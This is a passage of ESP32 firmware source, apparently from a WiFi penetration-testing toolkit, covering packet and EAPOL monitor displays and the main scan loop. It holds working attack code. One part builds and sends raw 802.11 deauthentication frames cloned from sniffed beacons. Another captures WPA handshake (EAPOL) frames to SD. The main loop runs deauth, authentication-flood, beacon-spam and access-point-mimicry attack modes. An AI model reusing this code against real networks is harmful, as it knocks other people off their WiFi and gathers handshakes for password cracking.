  1982. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1983. }
  1984. // Found beacon frame. Decide whether to deauth
  1985. if (snifferPacket->payload[0] == 0x80) {
  1986. // Build packet
  1987. uint8_t new_packet[26] = {
  1988. 0xc0, 0x00, 0x3a, 0x01,
  1989. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  1990. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1991. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1992. 0xf0, 0xff, 0x02, 0x00
  1993. };
  1994. new_packet[10] = snifferPacket->payload[10];
  1995. new_packet[11] = snifferPacket->payload[11];
  1996. new_packet[12] = snifferPacket->payload[12];
  1997. new_packet[13] = snifferPacket->payload[13];
  1998. new_packet[14] = snifferPacket->payload[14];
  1999. new_packet[15] = snifferPacket->payload[15];
  2000. new_packet[16] = snifferPacket->payload[10];
  2001. new_packet[17] = snifferPacket->payload[11];
  2002. new_packet[18] = snifferPacket->payload[12];
  2003. new_packet[19] = snifferPacket->payload[13];
  2004. new_packet[20] = snifferPacket->payload[14];
  2005. new_packet[21] = snifferPacket->payload[15];
  2006. // Send packet
  2007. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2008. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2009. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2010. }
  2011. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2012. num_eapol++;
  2013. Serial.println("Received EAPOL:");
  2014. for (int i = 0; i < len; i++) {
  2015. char hexCar[4];
  2016. sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  2017. Serial.print(hexCar);
  2018. //Serial.print(snifferPacket->payload[i], HEX);
  2019. if ((i + 1) % 16 == 0)
  2020. Serial.print("\n");
  2021. else
  2022. Serial.print(" ");
  2023. }
  2024. Serial.print("\n");
  2025. }
  2026. if (save_packet)
  2027. sd_obj.addPacket(snifferPacket->payload, len);
  2028. }
  2029. #ifdef HAS_SCREEN
  2030. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  2031. {
  2032. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2033. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2034. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2035. {
  2036. currentTime = millis();
  2037. do_break = false;
  2038. y_pos_x = 0;
  2039. y_pos_y = 0;
  2040. y_pos_z = 0;
  2041. boolean pressed = false;
  2042. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2043. // Do the touch stuff
  2044. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2045. if (pressed) {
  2046. Serial.print("Got touch | X: ");
  2047. Serial.print(t_x);
  2048. Serial.print(" Y: ");
  2049. Serial.println(t_y);
  2050. }
  2051. // Check buttons for presses
  2052. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2053. {
  2054. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2055. {
  2056. display_obj.key[b].press(true);
  2057. } else {
  2058. display_obj.key[b].press(false);
  2059. }
  2060. }
  2061. // Which buttons pressed
  2062. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2063. {
  2064. if (display_obj.key[b].justPressed())
  2065. {
  2066. Serial.println("Bro, key pressed");
  2067. //do_break = true;
  2068. }
  2069. if (display_obj.key[b].justReleased())
  2070. {
  2071. do_break = true;
  2072. // Channel - button pressed
  2073. if (b == 4) {
  2074. if (set_channel > 1) {
  2075. Serial.println("Shit channel down");
  2076. set_channel--;
  2077. delay(70);
  2078. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2079. //display_obj.tftDrawXScaleButtons(x_scale);
  2080. //display_obj.tftDrawYScaleButtons(y_scale);
  2081. display_obj.tftDrawChannelScaleButtons(set_channel);
  2082. display_obj.tftDrawExitScaleButtons();
  2083. changeChannel();
  2084. break;
  2085. }
  2086. }
  2087. // Channel + button pressed
  2088. else if (b == 5) {
  2089. if (set_channel < MAX_CHANNEL) {
  2090. Serial.println("Shit channel up");
  2091. set_channel++;
  2092. delay(70);
  2093. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2094. //display_obj.tftDrawXScaleButtons(x_scale);
  2095. //display_obj.tftDrawYScaleButtons(y_scale);
  2096. display_obj.tftDrawChannelScaleButtons(set_channel);
  2097. display_obj.tftDrawExitScaleButtons();
  2098. changeChannel();
  2099. break;
  2100. }
  2101. }
  2102. else if (b == 6) {
  2103. Serial.println("Exiting packet monitor...");
  2104. this->StartScan(WIFI_SCAN_OFF);
  2105. //display_obj.tft.init();
  2106. this->orient_display = true;
  2107. return;
  2108. }
  2109. }
  2110. }
  2111. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2112. //Serial.println("-----------------------------------------");
  2113. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2114. x_pos += x_scale;
  2115. initTime = millis();
  2116. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2117. if (y_pos_x >= HEIGHT_1) {
  2118. Serial.println("Max EAPOL number reached. Adjusting...");
  2119. num_eapol = 0;
  2120. }
  2121. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2122. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2123. //Serial.println("num_beacon: " + (String)num_beacon);
  2124. //Serial.println("num_deauth: " + (String)num_deauth);
  2125. //Serial.println(" num_probe: " + (String)num_probe);
  2126. //num_beacon = 0;
  2127. //num_probe = 0;
  2128. //num_deauth = 0;
  2129. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2130. //Plot "X" value
  2131. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2132. //Plot "Z" value
  2133. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2134. //Plot "Y" value
  2135. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2136. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2137. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2138. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2139. {
  2140. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2141. }
  2142. else
  2143. {
  2144. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2145. }
  2146. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2147. //if (x_pos <= 90)
  2148. if (x_pos < 0) // below x axis
  2149. {
  2150. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2151. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2152. }
  2153. else
  2154. {
  2155. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2156. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2157. }
  2158. //tftDisplayTime();
  2159. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2160. {
  2161. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2162. }
  2163. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2164. //y_pos_y_old = y_pos_y;
  2165. //y_pos_z_old = y_pos_z;
  2166. //delay(50);
  2167. }
  2168. sd_obj.main();
  2169. }
  2170. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2171. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2172. display_obj.tftDrawChannelScaleButtons(set_channel);
  2173. display_obj.tftDrawExitScaleButtons();
  2174. display_obj.tftDrawEapolColorKey();
  2175. display_obj.tftDrawGraphObjects(x_scale);
  2176. }
  2177. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2178. {
  2179. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2180. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2181. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2182. {
  2183. currentTime = millis();
  2184. do_break = false;
  2185. y_pos_x = 0;
  2186. y_pos_y = 0;
  2187. y_pos_z = 0;
  2188. boolean pressed = false;
  2189. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2190. // Do the touch stuff
  2191. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2192. if (pressed) {
  2193. Serial.print("Got touch | X: ");
  2194. Serial.print(t_x);
  2195. Serial.print(" Y: ");
  2196. Serial.println(t_y);
  2197. }
  2198. // Check buttons for presses
  2199. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2200. {
  2201. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2202. {
  2203. display_obj.key[b].press(true);
  2204. } else {
  2205. display_obj.key[b].press(false);
  2206. }
  2207. }
  2208. // Which buttons pressed
  2209. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2210. {
  2211. if (display_obj.key[b].justPressed())
  2212. {
  2213. Serial.println("Bro, key pressed");
  2214. //do_break = true;
  2215. }
  2216. if (display_obj.key[b].justReleased())
  2217. {
  2218. do_break = true;
  2219. // X - button pressed
  2220. if (b == 0) {
  2221. if (x_scale > 1) {
  2222. x_scale--;
  2223. delay(70);
  2224. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2225. display_obj.tftDrawXScaleButtons(x_scale);
  2226. display_obj.tftDrawYScaleButtons(y_scale);
  2227. display_obj.tftDrawChannelScaleButtons(set_channel);
  2228. display_obj.tftDrawExitScaleButtons();
  2229. break;
  2230. }
  2231. }
  2232. // X + button pressed
  2233. else if (b == 1) {
  2234. if (x_scale < 6) {
  2235. x_scale++;
  2236. delay(70);
  2237. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2238. display_obj.tftDrawXScaleButtons(x_scale);
  2239. display_obj.tftDrawYScaleButtons(y_scale);
  2240. display_obj.tftDrawChannelScaleButtons(set_channel);
  2241. display_obj.tftDrawExitScaleButtons();
  2242. break;
  2243. }
  2244. }
  2245. // Y - button pressed
  2246. else if (b == 2) {
  2247. if (y_scale > 1) {
  2248. y_scale--;
  2249. delay(70);
  2250. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2251. display_obj.tftDrawXScaleButtons(x_scale);
  2252. display_obj.tftDrawYScaleButtons(y_scale);
  2253. display_obj.tftDrawChannelScaleButtons(set_channel);
  2254. display_obj.tftDrawExitScaleButtons();
  2255. //updateMidway();
  2256. break;
  2257. }
  2258. }
  2259. // Y + button pressed
  2260. else if (b == 3) {
  2261. if (y_scale < 9) {
  2262. y_scale++;
  2263. delay(70);
  2264. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2265. display_obj.tftDrawXScaleButtons(x_scale);
  2266. display_obj.tftDrawYScaleButtons(y_scale);
  2267. display_obj.tftDrawChannelScaleButtons(set_channel);
  2268. display_obj.tftDrawExitScaleButtons();
  2269. //updateMidway();
  2270. break;
  2271. }
  2272. }
  2273. // Channel - button pressed
  2274. else if (b == 4) {
  2275. if (set_channel > 1) {
  2276. Serial.println("Shit channel down");
  2277. set_channel--;
  2278. delay(70);
  2279. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2280. display_obj.tftDrawXScaleButtons(x_scale);
  2281. display_obj.tftDrawYScaleButtons(y_scale);
  2282. display_obj.tftDrawChannelScaleButtons(set_channel);
  2283. display_obj.tftDrawExitScaleButtons();
  2284. changeChannel();
  2285. break;
  2286. }
  2287. }
  2288. // Channel + button pressed
  2289. else if (b == 5) {
  2290. if (set_channel < MAX_CHANNEL) {
  2291. Serial.println("Shit channel up");
  2292. set_channel++;
  2293. delay(70);
  2294. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2295. display_obj.tftDrawXScaleButtons(x_scale);
  2296. display_obj.tftDrawYScaleButtons(y_scale);
  2297. display_obj.tftDrawChannelScaleButtons(set_channel);
  2298. display_obj.tftDrawExitScaleButtons();
  2299. changeChannel();
  2300. break;
  2301. }
  2302. }
  2303. else if (b == 6) {
  2304. Serial.println("Exiting packet monitor...");
  2305. this->StartScan(WIFI_SCAN_OFF);
  2306. //display_obj.tft.init();
  2307. this->orient_display = true;
  2308. return;
  2309. }
  2310. }
  2311. }
  2312. if (currentTime - initTime >= GRAPH_REFRESH) {
  2313. //Serial.println("-----------------------------------------");
  2314. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2315. x_pos += x_scale;
  2316. initTime = millis();
  2317. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2318. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2319. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2320. //Serial.println("num_beacon: " + (String)num_beacon);
  2321. //Serial.println("num_deauth: " + (String)num_deauth);
  2322. //Serial.println(" num_probe: " + (String)num_probe);
  2323. num_beacon = 0;
  2324. num_probe = 0;
  2325. num_deauth = 0;
  2326. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2327. //Plot "X" value
  2328. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2329. //Plot "Z" value
  2330. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2331. //Plot "Y" value
  2332. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2333. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2334. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2335. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2336. {
  2337. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2338. }
  2339. else
  2340. {
  2341. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2342. }
  2343. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2344. //if (x_pos <= 90)
  2345. if (x_pos < 0) // below x axis
  2346. {
  2347. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2348. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2349. }
  2350. else
  2351. {
  2352. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2353. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2354. }
  2355. //tftDisplayTime();
  2356. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2357. {
  2358. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2359. }
  2360. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2361. y_pos_y_old = y_pos_y;
  2362. y_pos_z_old = y_pos_z;
  2363. //delay(50);
  2364. }
  2365. sd_obj.main();
  2366. }
  2367. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2368. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2369. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2370. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2371. display_obj.tftDrawYScaleButtons(y_scale);
  2372. display_obj.tftDrawChannelScaleButtons(set_channel);
  2373. display_obj.tftDrawExitScaleButtons();
  2374. display_obj.tftDrawColorKey();
  2375. display_obj.tftDrawGraphObjects(x_scale);
  2376. }
  2377. #endif
  2378. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2379. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2380. // showMetadata(snifferPacket, type);
  2381. //}
  2382. void WiFiScan::changeChannel()
  2383. {
  2384. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2385. delay(1);
  2386. }
  2387. // Function to cycle to the next channel
  2388. void WiFiScan::channelHop()
  2389. {
  2390. this->set_channel = this->set_channel + 1;
  2391. if (this->set_channel > 13) {
  2392. this->set_channel = 1;
  2393. }
  2394. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2395. delay(1);
  2396. }
  2397. char* WiFiScan::stringToChar(String string) {
  2398. char buf[string.length() + 1] = {};
  2399. string.toCharArray(buf, string.length() + 1);
  2400. return buf;
  2401. }
  2402. // Function for updating scan status
  2403. void WiFiScan::main(uint32_t currentTime)
  2404. {
  2405. // WiFi operations
  2406. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2407. (currentScanMode == WIFI_SCAN_AP) ||
  2408. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2409. (currentScanMode == WIFI_SCAN_PWN) ||
  2410. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2411. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2412. (currentScanMode == WIFI_SCAN_ALL))
  2413. {
  2414. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2415. {
  2416. initTime = millis();
  2417. channelHop();
  2418. }
  2419. }
  2420. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2421. {
  2422. #ifdef HAS_SCREEN
  2423. packetMonitorMain(currentTime);
  2424. #endif
  2425. }
  2426. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2427. {
  2428. #ifdef HAS_SCREEN
  2429. eapolMonitorMain(currentTime);
  2430. #endif
  2431. }
  2432. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2433. {
  2434. #ifdef HAS_SCREEN
  2435. eapolMonitorMain(currentTime);
  2436. #endif
  2437. }
  2438. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2439. for (int i = 0; i < 55; i++)
  2440. this->sendProbeAttack(currentTime);
  2441. if (currentTime - initTime >= 1000) {
  2442. initTime = millis();
  2443. String displayString = "";
  2444. String displayString2 = "";
  2445. displayString.concat(text18);
  2446. displayString.concat(packets_sent);
  2447. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2448. displayString2.concat(" ");
  2449. #ifdef HAS_SCREEN
  2450. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2451. display_obj.showCenterText(displayString2, 160);
  2452. display_obj.showCenterText(displayString, 160);
  2453. #endif
  2454. packets_sent = 0;
  2455. }
  2456. }
  2457. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2458. for (int i = 0; i < 55; i++)
  2459. this->sendDeauthAttack(currentTime);
  2460. if (currentTime - initTime >= 1000) {
  2461. initTime = millis();
  2462. String displayString = "";
  2463. String displayString2 = "";
  2464. displayString.concat(text18);
  2465. displayString.concat(packets_sent);
  2466. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2467. displayString2.concat(" ");
  2468. #ifdef HAS_SCREEN
  2469. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2470. display_obj.showCenterText(displayString2, 160);
  2471. display_obj.showCenterText(displayString, 160);
  2472. #endif
  2473. packets_sent = 0;
  2474. }
  2475. }
  2476. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2477. // Need this for loop because getTouch causes ~10ms delay
  2478. // which makes beacon spam less effective
  2479. for (int i = 0; i < access_points->size(); i++) {
  2480. if (access_points->get(i).selected)
  2481. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2482. random(256),
  2483. random(256),
  2484. random(256),
  2485. random(256),
  2486. random(256)}});
  2487. }
  2488. if (currentTime - initTime >= 1000)
  2489. {
  2490. initTime = millis();
  2491. //Serial.print("packets/sec: ");
  2492. //Serial.println(packets_sent);
  2493. String displayString = "";
  2494. String displayString2 = "";
  2495. displayString.concat(text18);
  2496. displayString.concat(packets_sent);
  2497. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2498. displayString2.concat(" ");
  2499. #ifdef HAS_SCREEN
  2500. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2501. display_obj.showCenterText(displayString2, 160);
  2502. display_obj.showCenterText(displayString, 160);
  2503. #endif
  2504. packets_sent = 0;
  2505. }
  2506. }
  2507. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2508. {
  2509. // Need this for loop because getTouch causes ~10ms delay
  2510. // which makes beacon spam less effective
  2511. for (int i = 0; i < 55; i++)
  2512. broadcastRandomSSID(currentTime);
  2513. if (currentTime - initTime >= 1000)
  2514. {
  2515. initTime = millis();
  2516. //Serial.print("packets/sec: ");
  2517. //Serial.println(packets_sent);
  2518. String displayString = "";
  2519. String displayString2 = "";
  2520. displayString.concat(text18);
  2521. displayString.concat(packets_sent);
  2522. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2523. displayString2.concat(" ");
  2524. #ifdef HAS_SCREEN
  2525. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2526. display_obj.showCenterText(displayString2, 160);
  2527. display_obj.showCenterText(displayString, 160);
  2528. #endif
  2529. packets_sent = 0;
  2530. }
  2531. }
  2532. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2533. for (int i = 0; i < ssids->size(); i++)
  2534. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2535. if (currentTime - initTime >= 1000)
  2536. {
  2537. initTime = millis();
  2538. packets_sent = 0;
  2539. }
  2540. }
  2541. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  2542. for (int i = 0; i < access_points->size(); i++) {
  2543. if (access_points->get(i).selected)
  2544. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  2545. }
  2546. if (currentTime - initTime >= 1000) {
  2547. initTime = millis();
  2548. packets_sent = 0;
  2549. }
  2550. }
  2551. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2552. {
  2553. // Need this for loop because getTouch causes ~10ms delay
  2554. // which makes beacon spam less effective
  2555. for (int i = 0; i < 7; i++)
  2556. {
  2557. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2558. {
  2559. broadcastSetSSID(currentTime, rick_roll[x]);
  2560. }
  2561. }
  2562. if (currentTime - initTime >= 1000)
  2563. {
  2564. initTime = millis();
  2565. //Serial.print("packets/sec: ");
  2566. //Serial.println(packets_sent);
  2567. String displayString = "";
  2568. String displayString2 = "";
  2569. displayString.concat(text18);
  2570. displayString.concat(packets_sent);
  2571. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2572. displayString2.concat(" ");
  2573. #ifdef HAS_SCREEN
  2574. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2575. display_obj.showCenterText(displayString2, 160);
  2576. display_obj.showCenterText(displayString, 160);
  2577. #endif
  2578. packets_sent = 0;
  2579. }
  2580. }
  2581. }